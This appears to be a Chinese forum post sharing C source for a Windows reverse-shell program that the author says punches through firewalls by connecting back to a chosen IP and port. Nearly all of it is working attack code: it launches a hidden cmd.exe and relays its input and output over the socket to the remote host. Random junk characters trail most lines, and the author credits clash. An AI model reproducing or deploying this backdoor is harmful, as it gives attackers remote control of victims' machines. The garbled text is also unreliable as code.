这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P"1 S$oc
qos`!=g?
/* ============================== K%MW6y
Rebound port in Windows NT k@V#HC{t
By wind,2006/7 h>alGLN>
===============================*/ 1G;8MPU
#include %K(0 W8&
#include
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#pragma comment(lib,"wsock32.lib") AVG>_$<
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void OutputShell(); JS2nXs1
SOCKET sClient; ,m^;&&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B<7/,d'
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void main(int argc,char **argv) 1DE@N1l
{ ,Ol ( piR
WSADATA stWsaData; MAqLIf<G
int nRet; QV qK
SOCKADDR_IN stSaiClient,stSaiServer; '7*=`q{
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if(argc != 3) w%dL8k
{ PmR* }Aw
printf("Useage:\n\rRebound DestIP DestPort\n"); Ri#H.T<'
return; B@O@1?c[
} <*|?x86~
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WSAStartup(MAKEWORD(2,2),&stWsaData); NOt@M
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -Xz&}QA
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stSaiClient.sin_family = AF_INET; RKZ6}q1n
stSaiClient.sin_port = htons(0); mM/i^zT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |.P/:e9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WKmbNvN^
{ K>2 #UzW
printf("Bind Socket Failed!\n"); AW,OHSXh6
return; K-eY|n
} "&~
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stSaiServer.sin_family = AF_INET; jN0k9O>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %O%=rUD
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \}_Yd8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }LP!)|E
{ O7t(,uox3y
printf("Connect Error!"); Vp}^NNYf
return; &v!WVa?
} GiFXX
OutputShell(); KCuGu}
} U__(;
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void OutputShell() Thr*^0$C
{ 7@}$|u:JUF
char szBuff[1024]; 8K9$,Ii
SECURITY_ATTRIBUTES stSecurityAttributes; gNpJ24QK
OSVERSIONINFO stOsversionInfo; ;WU<CKYG*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >dzsQ^Nj
STARTUPINFO stStartupInfo; Ae uX Qt
char *szShell; (08I
PROCESS_INFORMATION stProcessInformation; ,#]t$mzbQ(
unsigned long lBytesRead; j'0r'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -e u]:4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :_kAl? eJ
stSecurityAttributes.lpSecurityDescriptor = 0; ]i*](UQ
stSecurityAttributes.bInheritHandle = TRUE; ,`A?!.K$
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Cx_Q :6T
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kcie}Be
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `Y=WMNy
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *Vw\'%p*
stStartupInfo.wShowWindow = SW_HIDE; 8qEK+yi,
stStartupInfo.hStdInput = hReadPipe; Rli:x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A@*:<Hs%
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GetVersionEx(&stOsversionInfo); ,m<H-gwa
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switch(stOsversionInfo.dwPlatformId) #-% A[7Cdp
{ JPn$FQD
case 1: k>jbcSY(z<
szShell = "command.com"; _ee
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break; 7Q w|!
default: mo{MR:>)
szShell = "cmd.exe"; `(6r3f~XJ
break; G rmzkNlN
} kql0J|P?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E m
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send(sClient,szMsg,77,0); Wo~vhv$E
while(1) ig LMv+{
{ "1`Oh<={b
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ph>7?3;t
if(lBytesRead) Cxod[$8
{ K$K^=>I"o
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @H>@[+S#
send(sClient,szBuff,lBytesRead,0); K_?W\Yg
} klgy;jSEr
else !+)AeDc:j
{ cRd0S*QN2
lBytesRead=recv(sClient,szBuff,1024,0); G$0c'9d*(
if(lBytesRead<=0) break; 'J&f%kx"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v[plT2"s
} ,#d? _?/:O
}
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return; 4wd&55=2
}